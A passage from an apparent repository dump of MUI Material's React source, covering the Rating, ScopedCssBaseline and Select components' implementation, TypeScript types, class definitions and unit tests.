for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    decimal: PropTypes.elementType,\n    icon: PropTypes.elementType,\n    label: PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The rating value.\n   */\n  value: PropTypes.number,\n};\n\nexport default Rating;\n"
  },
  {
    "path": "packages/mui-material/src/Rating/Rating.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport Rating from '@mui/material/Rating';\n\nconst CustomComponent: React.FC<{ stringProp: string; numberProp: number }> =\n  function CustomComponent() {\n    return <div />;\n  };\n\nconst children: React.ReactNode = <div />;\n\nfunction RatingTest() {\n  return (\n    <div>\n      <Rating />\n      <Rating precision={0.5} />\n\n      <Rating>{children}</Rating>\n      <Rating\n        onChange={(event, value) => {\n          expectType<number | null, typeof value>(value);\n          expectType<React.SyntheticEvent, typeof event>(event);\n        }}\n      />\n\n      <Rating\n        component=\"a\"\n        href=\"test\"\n        onClick={(event) => {\n          expectType<React.MouseEvent<HTMLAnchorElement, MouseEvent>, typeof event>(event);\n        }}\n      />\n      <Rating component={CustomComponent} stringProp=\"test\" numberProp={0} />\n      {/* @ts-expect-error missing stringProp and numberProp */}\n      <Rating component={CustomComponent} />\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/Rating/Rating.test.js",
    "content": "import { expect } from 'chai';\nimport { stub, spy } from 'sinon';\nimport { act, createRenderer, fireEvent, screen, isJsdom } from '@mui/internal-test-utils';\nimport Rating, { ratingClasses as classes } from '@mui/material/Rating';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Rating />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Rating max={0} />, () => ({\n    classes,\n    inheritComponent: 'span',\n    render,\n    muiName: 'MuiRating',\n    testVariantProps: { variant: 'foo' },\n    testDeepOverrides: { slotName: 'label', slotClassName: classes.label },\n    testStateOverrides: { prop: 'size', value: 'small', styleKey: 'sizeSmall' },\n    refInstanceof: window.HTMLSpanElement,\n    slots: {\n      root: {\n        expectedClassName: classes.root,\n      },\n      label: {\n        expectedClassName: classes.label,\n      },\n    },\n  }));\n\n  describeConformance(<Rating max={1} />, () => ({\n    render,\n    refInstanceof: window.HTMLSpanElement,\n    slots: {\n      icon: {\n        expectedClassName: classes.icon,\n      },\n    },\n    only: [\n      'slotsProp',\n      'slotPropsProp',\n      'slotPropsCallback',\n      'slotPropsCallbackWithPropsAsOwnerState',\n    ],\n  }));\n\n  function CustomDecimal({ iconActive, ownerState, ...props }) {\n    return <i data-testid=\"custom\" {...props} />;\n  }\n\n  describeConformance(<Rating max={1} precision={0.5} />, () => ({\n    render,\n    refInstanceof: window.HTMLSpanElement,\n    slots: {\n      decimal: {\n        expectedClassName: classes.decimal,\n        testWithComponent: CustomDecimal,\n        testWithElement: CustomDecimal,\n      },\n    },\n    only: [\n      'slotsProp',\n      'slotPropsProp',\n      'slotPropsCallback',\n      'slotPropsCallbackWithPropsAsOwnerState',\n    ],\n  }));\n\n  it('should render', () => {\n    const { container } = render(<Rating />);\n\n    expect(container.firstChild).to.have.class(classes.root);\n  });\n\n  it('should round the value to the provided precision', () => {\n    const { container } = render(<Rating name=\"rating-test\" value={3.9} precision={0.2} />);\n\n    expect(container.querySelector('input[name=\"rating-test\"]:checked')).to.have.property(\n      'value',\n      '4',\n    );\n  });\n\n  it('should handle mouse hover correctly', () => {\n    const { container } = render(<Rating />);\n    stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n      left: 0,\n      right: 100,\n      width: 100,\n    }));\n    fireEvent.mouseMove(container.firstChild, {\n      clientX: 19,\n    });\n    expect(container.querySelectorAll(`.${classes.iconHover}`).length).to.equal(1);\n    fireEvent.mouseMove(container.firstChild, {\n      clientX: 21,\n    });\n    expect(container.querySelectorAll(`.${classes.iconHover}`).length).to.equal(2);\n  });\n\n  it('should handle mouse hover correctly for icons with spacing', () => {\n    const { container } = render(\n      <Rating\n        sx={{\n          [`.${classes.decimal}`]: { marginRight: 2 },\n        }}\n        precision={0.5}\n      />,\n    );\n    stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n      left: 0,\n      right: 200,\n      width: 200,\n    }));\n\n    fireEvent.mouseMove(container.firstChild, {\n      clientX: 19,\n    });\n    // half star highlighted\n    expect(container.querySelectorAll(`.${classes.iconHover}`).length).to.equal(1);\n\n    fireEvent.mouseMove(container.firstChild, {\n      clientX: 21,\n    });\n    // one full star highlighted\n    expect(container.querySelectorAll(`.${classes.iconHover}`).length).to.equal(2);\n\n    fireEvent.mouseMove(container.firstChild, {\n      clientX: 39,\n    });\n    // Still one star remains highlighted as the total item width (40px) has not been reached yet, considering 24px for the icon width and 16px for margin-right.\n    expect(container.querySelectorAll(`.${classes.iconHover}`).length).to.equal(2);\n\n    fireEvent.mouseMove(container.firstChild, {\n      clientX: 41,\n    });\n    // one and half star highlighted\n    expect(container.querySelectorAll(`.${classes.iconHover}`).length).to.equal(3);\n\n    fireEvent.mouseMove(container.firstChild, {\n      clientX: 60,\n    });\n    // two full stars highlighted\n    expect(container.querySelectorAll(`.${classes.iconHover}`).length).to.equal(4);\n  });\n\n  it('should clear the rating', () => {\n    const handleChange = spy();\n    const { container } = render(<Rating name=\"rating-test\" onChange={handleChange} value={2} />);\n\n    fireEvent.click(container.querySelector('input[name=\"rating-test\"][value=\"2\"]'), {\n      clientX: 1,\n    });\n\n    expect(handleChange.callCount).to.equal(1);\n    expect(handleChange.args[0][1]).to.deep.equal(null);\n  });\n\n  it('should select the rating', () => {\n    const handleChange = spy();\n    const { container } = render(<Rating name=\"rating-test\" onChange={handleChange} value={2} />);\n    fireEvent.click(container.querySelector('input[name=\"rating-test\"][value=\"3\"]'));\n    expect(handleChange.callCount).to.equal(1);\n    expect(handleChange.args[0][1]).to.deep.equal(3);\n    const checked = container.querySelector('input[name=\"rating-test\"]:checked');\n    expect(checked.value).to.equal('2');\n  });\n\n  it('should change the value to null', () => {\n    const handleChange = spy();\n    render(<Rating name=\"rating-test\" onChange={handleChange} value={2} />);\n    fireEvent.click(document.querySelector('#rating-test-empty'));\n    expect(handleChange.args[0][1]).to.equal(null);\n  });\n\n  it('should select the empty input if value is null', () => {\n    const { container } = render(<Rating name=\"rating-test\" value={null} />);\n    const input = container.querySelector('#rating-test-empty');\n    const checked = container.querySelector('input[name=\"rating-test\"]:checked');\n    expect(input).to.equal(checked);\n    expect(input.value).to.equal('');\n  });\n\n  it('should support a defaultValue', () => {\n    const { container } = render(<Rating defaultValue={3} name=\"rating-test\" />);\n    let checked;\n    checked = container.querySelector('input[name=\"rating-test\"]:checked');\n    expect(checked.value).to.equal('3');\n\n    fireEvent.click(container.querySelector('input[name=\"rating-test\"][value=\"2\"]'));\n    checked = container.querySelector('input[name=\"rating-test\"]:checked');\n    expect(checked.value).to.equal('2');\n  });\n\n  it('has a customization point for the label of the empty value when it is active', () => {\n    const view = render(\n      <Rating classes={{ labelEmptyValueActive: 'customized' }} name=\"\" value={null} />,\n    );\n\n    expect(view.container.querySelector('.customized')).to.equal(null);\n\n    act(() => {\n      const noValueRadio = screen.getAllByRole('radio').find((radio) => {\n        return radio.checked;\n      });\n\n      noValueRadio.focus();\n    });\n\n    expect(view.container.querySelector('.customized')).to.have.tagName('label');\n  });\n\n  it.skipIf(isJsdom())('should apply labelEmptyValueActive styles from theme', function test() {\n    const theme = createTheme({\n      components: {\n        MuiRating: {\n          styleOverrides: {\n            labelEmptyValueActive: {\n              height: '120px',\n            },\n          },\n        },\n      },\n    });\n    const view = render(\n      <ThemeProvider theme={theme}>\n        <Rating value={null} />\n      </ThemeProvider>,\n    );\n\n    act(() => {\n      const noValueRadio = screen.getAllByRole('radio').find((radio) => {\n        return radio.checked;\n      });\n\n      noValueRadio.focus();\n    });\n\n    expect(view.container.querySelector(`.${classes.labelEmptyValueActive}`)).toHaveComputedStyle({\n      height: '120px',\n    });\n  });\n\n  // Internal test that only applies if Rating is implemented using `input[type\"radio\"]`\n  // It ensures that keyboard navigation for Arrow and TAB keys is handled by the browser\n  it('should ensure a `name`', () => {\n    render(<Rating value={null} />);\n\n    const [arbitraryRadio, ...radios] = document.querySelectorAll('input[type=\"radio\"]');\n    // `name` **property** will always be a string even if the **attribute** is omitted\n    expect(arbitraryRadio.name).not.to.equal('');\n    // all input[type=\"radio\"] have the same name\n    expect(new Set(radios.map((radio) => radio.name))).to.have.length(1);\n  });\n\n  it('should use `name` as prefix of input element ids', () => {\n    render(<Rating name=\"rating-test\" />);\n\n    const radios = document.querySelectorAll('input[type=\"radio\"]');\n\n    for (let i = 0; i < radios.length; i += 1) {\n      expect(radios[i].getAttribute('id')).to.match(/^rating-test-/);\n    }\n  });\n\n  it('should not spread the `value` prop on the icon slot DOM element', () => {\n    const { container } = render(<Rating name=\"rating-test\" value={2} />);\n\n    container.querySelectorAll(`.${classes.icon}`).forEach((icon) => {\n      expect(icon).not.to.have.attribute('value');\n    });\n  });\n\n  it('should be able to replace the icon', () => {\n    function Icon(props) {\n      return <i data-testid=\"custom\" {...props} />;\n    }\n    render(<Rating name=\"rating-test\" max={1} slotProps={{ icon: { component: Icon } }} />);\n\n    expect(screen.getByTestId('custom')).to.have.property('tagName', 'I');\n    expect(screen.getByTestId('custom')).to.have.class(classes.icon);\n  });\n\n  describe('prop: readOnly', () => {\n    it('renders a role=\"img\"', () => {\n      render(<Rating readOnly value={2} />);\n\n      expect(screen.getByRole('img')).toHaveAccessibleName('2 Stars');\n    });\n\n    it('can be labelled with getLabelText', () => {\n      render(<Rating getLabelText={(value) => `Stars: ${value}`} readOnly value={2} />);\n\n      expect(screen.getByRole('img')).toHaveAccessibleName('Stars: 2');\n    });\n\n    it('should have a correct label when no value is set', () => {\n      render(<Rating readOnly />);\n\n      expect(screen.getByRole('img')).toHaveAccessibleName('0 Stars');\n    });\n\n    it('should have readOnly class applied', () => {\n      render(<Rating readOnly value={2} />);\n\n      expect(screen.getByRole('img')).to.have.class(classes.readOnly);\n    });\n  });\n\n  describe.skipIf(isJsdom())('<form> integration', () => {\n    [\n      {\n        ratingProps: { name: 'rating', defaultValue: 2 },\n        formData: [['rating', '2']],\n      },\n      {\n        ratingProps: { name: 'rating', defaultValue: 2, disabled: true },\n        formData: [],\n      },\n      {\n        ratingProps: { name: 'rating', defaultValue: 2, readOnly: true },\n        // native <input type=\"radio\" /> and our Radio/Checkbox don't implement readOnly as well\n        formData: [],\n      },\n      {\n        ratingProps: { name: 'rating', required: true },\n        // FIXME: `Rating` does not implement `required`.\n        //        Native <input type=\"radio\" /> would not pass validation\n        // formData: undefined,\n        formData: [['rating', '']],\n      },\n    ].forEach((testData, testNumber) => {\n      it(`submits the expected form data #${testNumber + 1}`, () => {\n        /**\n         * @type FormData\n         */\n        let data;\n        const handleSubmit = spy((event) => {\n          // Prevent navigation\n          event.preventDefault();\n          // populate FormData with the submitted form\n          data = new FormData(event.target);\n        });\n        render(\n          <form onSubmit={handleSubmit}>\n            <Rating {...testData.ratingProps} />\n            <button type=\"submit\" />\n          </form>,\n        );\n        const submitter = document.querySelector('button[type=\"submit\"]');\n\n        act(() => {\n          // form.submit() would not run form validation\n          submitter.click();\n        });\n\n        if (testData.formData === undefined) {\n          expect(handleSubmit.callCount).to.equal(0);\n        } else {\n          expect(Array.from(data.entries())).to.deep.equal(testData.formData);\n        }\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Rating/index.d.ts",
    "content": "export { default } from './Rating';\nexport * from './Rating';\n\nexport { default as ratingClasses } from './ratingClasses';\nexport * from './ratingClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Rating/index.js",
    "content": "export { default } from './Rating';\n\nexport { default as ratingClasses } from './ratingClasses';\nexport * from './ratingClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Rating/ratingClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface RatingClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `size=\"small\"`. */\n  sizeSmall: string;\n  /** Styles applied to the root element if `size=\"medium\"`. */\n  sizeMedium: string;\n  /** Styles applied to the root element if `size=\"large\"`. */\n  sizeLarge: string;\n  /** Styles applied to the root element if `readOnly={true}`. */\n  readOnly: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** State class applied to the root element if keyboard focused. */\n  focusVisible: string;\n  /** Visually hide an element. */\n  visuallyHidden: string;\n  /** Styles applied to the label elements. */\n  label: string;\n  /** Styles applied to the label of the \"no value\" input when it is active. */\n  labelEmptyValueActive: string;\n  /** Styles applied to the icon wrapping elements. */\n  icon: string;\n  /** Styles applied to the icon wrapping elements when empty. */\n  iconEmpty: string;\n  /** Styles applied to the icon wrapping elements when filled. */\n  iconFilled: string;\n  /** Styles applied to the icon wrapping elements when hover. */\n  iconHover: string;\n  /** Styles applied to the icon wrapping elements when focus. */\n  iconFocus: string;\n  /** Styles applied to the icon wrapping elements when active. */\n  iconActive: string;\n  /** Styles applied to the icon wrapping elements when decimals are necessary. */\n  decimal: string;\n}\n\nexport type RatingClassKey = keyof RatingClasses;\n\nexport function getRatingUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiRating', slot);\n}\n\nconst ratingClasses: RatingClasses = generateUtilityClasses('MuiRating', [\n  'root',\n  'sizeSmall',\n  'sizeMedium',\n  'sizeLarge',\n  'readOnly',\n  'disabled',\n  'focusVisible',\n  'visuallyHidden',\n  'pristine',\n  'label',\n  'labelEmptyValueActive',\n  'icon',\n  'iconEmpty',\n  'iconFilled',\n  'iconHover',\n  'iconFocus',\n  'iconActive',\n  'decimal',\n]);\n\nexport default ratingClasses;\n"
  },
  {
    "path": "packages/mui-material/src/ScopedCssBaseline/ScopedCssBaseline.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { ScopedCssBaselineClasses } from './scopedCssBaselineClasses';\n\nexport interface ScopedCssBaselineOwnProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ScopedCssBaselineClasses> | undefined;\n  /**\n   * Enable `color-scheme` CSS property to use `theme.palette.mode`.\n   * For more details, check out https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/color-scheme\n   * For browser support, check out https://caniuse.com/?search=color-scheme\n   */\n  enableColorScheme?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface ScopedCssBaselineTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & ScopedCssBaselineOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - [CSS Baseline](https://next.mui.com/material-ui/react-css-baseline/)\n *\n * API:\n *\n * - [ScopedCssBaseline API](https://next.mui.com/material-ui/api/scoped-css-baseline/)\n */\ndeclare const ScopedCssBaseline: OverridableComponent<ScopedCssBaselineTypeMap>;\n\nexport type ScopedCssBaselineProps<\n  RootComponent extends React.ElementType = ScopedCssBaselineTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<ScopedCssBaselineTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\n/**\n *\n * Demos:\n *\n * - [Css Baseline](https://mui.com/components/css-baseline/)\n *\n * API:\n *\n * - [ScopedCssBaseline API](https://mui.com/api/scoped-css-baseline/)\n */\nexport default ScopedCssBaseline;\n"
  },
  {
    "path": "packages/mui-material/src/ScopedCssBaseline/ScopedCssBaseline.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { html, body } from '../CssBaseline/CssBaseline';\nimport { getScopedCssBaselineUtilityClass } from './scopedCssBaselineClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, getScopedCssBaselineUtilityClass, classes);\n};\n\nconst ScopedCssBaselineRoot = styled('div', {\n  name: 'MuiScopedCssBaseline',\n  slot: 'Root',\n})(\n  memoTheme(({ theme }) => {\n    const colorSchemeStyles = {};\n    if (theme.colorSchemes) {\n      Object.entries(theme.colorSchemes).forEach(([key, scheme]) => {\n        const selector = theme.getColorSchemeSelector(key);\n        if (selector.startsWith('@')) {\n          colorSchemeStyles[selector] = {\n            colorScheme: scheme.palette?.mode,\n          };\n        } else {\n          colorSchemeStyles[`&${selector.replace(/\\s*&/, '')}`] = {\n            colorScheme: scheme.palette?.mode,\n          };\n        }\n      });\n    }\n    return {\n      ...html(theme, false),\n      ...body(theme),\n      '& *, & *::before, & *::after': {\n        boxSizing: 'inherit',\n      },\n      '& strong, & b': {\n        fontWeight: theme.typography.fontWeightBold,\n      },\n      variants: [\n        {\n          props: { enableColorScheme: true },\n          style: theme.vars ? colorSchemeStyles : { colorScheme: theme.palette.mode },\n        },\n      ],\n    };\n  }),\n);\n\nconst ScopedCssBaseline = React.forwardRef(function ScopedCssBaseline(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiScopedCssBaseline' });\n  const { className, component = 'div', enableColorScheme, ...other } = props;\n\n  const ownerState = {\n    ...props,\n    component,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <ScopedCssBaselineRoot\n      as={component}\n      className={clsx(classes.root, className)}\n      ref={ref}\n      ownerState={ownerState}\n      {...other}\n    />\n  );\n});\n\nScopedCssBaseline.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * Enable `color-scheme` CSS property to use `theme.palette.mode`.\n   * For more details, check out https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/color-scheme\n   * For browser support, check out https://caniuse.com/?search=color-scheme\n   */\n  enableColorScheme: PropTypes.bool,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default ScopedCssBaseline;\n"
  },
  {
    "path": "packages/mui-material/src/ScopedCssBaseline/ScopedCssBaseline.spec.tsx",
    "content": "import ScopedCssBaseline from '@mui/material/ScopedCssBaseline';\n\n<ScopedCssBaseline\n  sx={(theme) => ({\n    backgroundColor: theme.palette.background.paper,\n  })}\n/>;\n"
  },
  {
    "path": "packages/mui-material/src/ScopedCssBaseline/ScopedCssBaseline.test.js",
    "content": "import { createRenderer } from '@mui/internal-test-utils';\nimport ScopedCssBaseline, {\n  scopedCssBaselineClasses as classes,\n} from '@mui/material/ScopedCssBaseline';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<ScopedCssBaseline />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<ScopedCssBaseline />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    muiName: 'MuiScopedCssBaseline',\n    refInstanceof: window.HTMLDivElement,\n    testComponentPropWith: 'span',\n    skip: ['componentsProp', 'themeVariants'],\n  }));\n});\n"
  },
  {
    "path": "packages/mui-material/src/ScopedCssBaseline/index.d.ts",
    "content": "export { default } from './ScopedCssBaseline';\nexport * from './ScopedCssBaseline';\n\nexport { default as scopedCssBaselineClasses } from './scopedCssBaselineClasses';\nexport * from './scopedCssBaselineClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ScopedCssBaseline/index.js",
    "content": "export { default } from './ScopedCssBaseline';\n\nexport { default as scopedCssBaselineClasses } from './scopedCssBaselineClasses';\nexport * from './scopedCssBaselineClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ScopedCssBaseline/scopedCssBaselineClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ScopedCssBaselineClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type ScopedCssBaselineClassKey = keyof ScopedCssBaselineClasses;\n\nexport function getScopedCssBaselineUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiScopedCssBaseline', slot);\n}\n\nconst scopedCssBaselineClasses = generateUtilityClasses('MuiScopedCssBaseline', ['root']);\n\nexport default scopedCssBaselineClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Select/Select.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { InputProps } from '../Input';\nimport { MenuProps } from '../Menu';\nimport { SelectChangeEvent, SelectInputProps } from './SelectInput';\nimport { SelectClasses } from './selectClasses';\nimport { OutlinedInputProps } from '../OutlinedInput';\nimport { FilledInputProps } from '../FilledInput';\n\nexport { SelectChangeEvent };\n\nexport interface BaseSelectProps<Value = unknown> extends StandardProps<\n  InputProps,\n  'value' | 'onChange' | 'placeholder'\n> {\n  /**\n   * If `true`, the width of the popover will automatically be set according to the items inside the\n   * menu, otherwise it will be at least the width of the select input.\n   * @default false\n   */\n  autoWidth?: boolean | undefined;\n  /**\n   * The option elements to populate the select with.\n   * Can be some `MenuItem` when `native` is false and `option` when `native` is true.\n   *\n   * ⚠️The `MenuItem` elements **must** be direct descendants when `native` is false.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   * @default {}\n   */\n  classes?: Partial<SelectClasses> | undefined;\n  /**\n   * If `true`, the component is initially open. Use when the component open state is not controlled (i.e. the `open` prop is not defined).\n   * You can only use it when the `native` prop is `false` (default).\n   * @default false\n   */\n  defaultOpen?: boolean | undefined;\n  /**\n   * The default value. Use when the component is not controlled.\n   */\n  defaultValue?: Value | undefined;\n  /**\n   * If `true`, a value is displayed even if no items are selected.\n   *\n   * In order to display a meaningful value, a function can be passed to the `renderValue` prop which\n   * returns the value to be displayed when no items are selected.\n   *\n   * ⚠️ When using this prop, make sure the label doesn't overlap with the empty displayed value.\n   * The label should either be hidden or forced to a shrunk state.\n   * @default false\n   */\n  displayEmpty?: boolean | undefined;\n  /**\n   * The icon that displays the arrow.\n   * @default ArrowDropDownIcon\n   */\n  IconComponent?: React.ElementType | undefined;\n  /**\n   * The `id` of the wrapper element or the `select` element when `native`.\n   */\n  id?: string | undefined;\n  /**\n   * An `Input` element; does not have to be a material-ui specific `Input`.\n   */\n  input?: React.ReactElement<unknown, any> | undefined;\n  /**\n   * [Attributes](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#attributes) applied to the `input` element.\n   * When `native` is `true`, the attributes are applied on the `select` element.\n   */\n  inputProps?: InputProps['inputProps'] | undefined;\n  /**\n   * See [OutlinedInput#label](https://mui.com/material-ui/api/outlined-input/#props)\n   */\n  label?: React.ReactNode;\n  /**\n   * The ID of an element that acts as an additional label. The Select will\n   * be labelled by the additional label and the selected value.\n   */\n  labelId?: string | undefined;\n  /**\n   * Props applied to the [`Menu`](https://mui.com/material-ui/api/menu/) element.\n   */\n  MenuProps?: Partial<MenuProps> | undefined;\n  /**\n   * If `true`, `value` must be an array and the menu will support multiple selections.\n   * @default false\n   */\n  multiple?: boolean | undefined;\n  /**\n   * If `true`, the component uses a native `select` element.\n   * @default false\n   */\n  native?: boolean | undefined;\n  /**\n   * Callback fired when a menu item is selected.\n   *\n   * @param {SelectChangeEvent<Value>} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (any).\n   * **Warning**: This is a generic event, not a change event, unless the change event is caused by browser autofill.\n   * @param {object} [child] The react element that was selected when `native` is `false` (default).\n   */\n  onChange?: SelectInputProps<Value>['onChange'] | undefined;\n  /**\n   * Callback fired when the component requests to be closed.\n   * Use it in either controlled (see the `open` prop), or uncontrolled mode (to detect when the Select collapses).\n   *\n   * @param {object} event The event source of the callback.\n   */\n  onClose?: ((event: React.SyntheticEvent) => void) | undefined;\n  /**\n   * Callback fired when the component requests to be opened.\n   * Use it in either controlled (see the `open` prop), or uncontrolled mode (to detect when the Select expands).\n   *\n   * @param {object} event The event source of the callback.\n   */\n  onOpen?: ((event: React.SyntheticEvent) => void) | undefined;\n  /**\n   * If `true`, the component is shown.\n   * You can only use it when the `native` prop is `false` (default).\n   */\n  open?: boolean | undefined;\n  /**\n   * Render the selected value.\n   * You can only use it when the `native` prop is `false` (default).\n   *\n   * @param {any} value The `value` provided to the component.\n   * @returns {ReactNode}\n   */\n  renderValue?: ((value: Value) => React.ReactNode) | undefined;\n  /**\n   * Props applied to the clickable div element.\n   */\n  SelectDisplayProps?: React.HTMLAttributes<HTMLDivElement> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The `input` value. Providing an empty string will select no options.\n   * Set to an empty string `''` if you don't want any of the available options to be selected.\n   *\n   * If the value is an object it must have reference equality with the option in order to be selected.\n   * If the value is not an object, the string representation must match with the string representation of the option in order to be selected.\n   */\n  value?: Value | '' | undefined;\n  /**\n   * The variant to use.\n   * @default 'outlined'\n   */\n  variant?: SelectVariants | undefined;\n}\n\nexport interface FilledSelectProps extends Omit<\n  FilledInputProps,\n  'value' | 'onChange' | 'id' | 'classes' | 'inputProps' | 'placeholder' | 'label'\n> {\n  /**\n   * The variant to use.\n   * @default 'outlined'\n   */\n  variant: 'filled';\n}\n\nexport interface StandardSelectProps extends Omit<\n  InputProps,\n  'value' | 'onChange' | 'id' | 'classes' | 'inputProps' | 'placeholder' | 'label'\n> {\n  /**\n   * The variant to use.\n   * @default 'outlined'\n   */\n  variant: 'standard';\n}\n\nexport interface OutlinedSelectProps extends Omit<\n  OutlinedInputProps,\n  'value' | 'onChange' | 'id' | 'classes' | 'inputProps' | 'placeholder' | 'label'\n> {\n  /**\n   * The variant to use.\n   * @default 'outlined'\n   */\n  variant?: 'outlined' | undefined;\n}\n\nexport type SelectVariants = 'outlined' | 'standard' | 'filled';\n\nexport type SelectProps<Value = unknown> =\n  | (FilledSelectProps & BaseSelectProps<Value>)\n  | (StandardSelectProps & BaseSelectProps<Value>)\n  | (OutlinedSelectProps & BaseSelectProps<Value>);\n\n/**\n *\n * Demos:\n *\n * - [Select](https://next.mui.com/material-ui/react-select/)\n *\n * API:\n *\n * - [Select API](https://next.mui.com/material-ui/api/select/)\n * - inherits [OutlinedInput API](https://next.mui.com/material-ui/api/outlined-input/)\n */\ndeclare const Select: (<Value = unknown>(props: SelectProps<Value>) => React.JSX.Element) & {\n  muiName: string;\n};\n\nexport default Select;\n"
  },
  {
    "path": "packages/mui-material/src/Select/Select.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport deepmerge from '@mui/utils/deepmerge';\nimport composeClasses from '@mui/utils/composeClasses';\nimport getReactElementRef from '@mui/utils/getReactElementRef';\nimport SelectInput from './SelectInput';\nimport formControlState from '../FormControl/formControlState';\nimport useFormControl from '../FormControl/useFormControl';\nimport ArrowDropDownIcon from '../internal/svg-icons/ArrowDropDown';\nimport Input from '../Input';\nimport NativeSelectInput from '../NativeSelect/NativeSelectInput';\nimport FilledInput from '../FilledInput';\nimport OutlinedInput from '../OutlinedInput';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport useForkRef from '../utils/useForkRef';\nimport { styled } from '../zero-styled';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport { getSelectUtilityClasses } from './selectClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  const composedClasses = composeClasses(slots, getSelectUtilityClasses, classes);\n\n  return { ...classes, ...composedClasses };\n};\n\nconst styledRootConfig = {\n  name: 'MuiSelect',\n  slot: 'Root',\n  shouldForwardProp: (prop) => rootShouldForwardProp(prop) && prop !== 'variant',\n};\n\nconst StyledInput = styled(Input, styledRootConfig)('');\n\nconst StyledOutlinedInput = styled(OutlinedInput, styledRootConfig)('');\n\nconst StyledFilledInput = styled(FilledInput, styledRootConfig)('');\n\nconst Select = React.forwardRef(function Select(inProps, ref) {\n  const props = useDefaultProps({ name: 'MuiSelect', props: inProps });\n  const {\n    autoWidth = false,\n    children,\n    classes: classesProp = {},\n    className,\n    defaultOpen = false,\n    displayEmpty = false,\n    IconComponent = ArrowDropDownIcon,\n    id,\n    input,\n    inputProps,\n    label,\n    labelId,\n    MenuProps,\n    multiple = false,\n    native = false,\n    onClose,\n    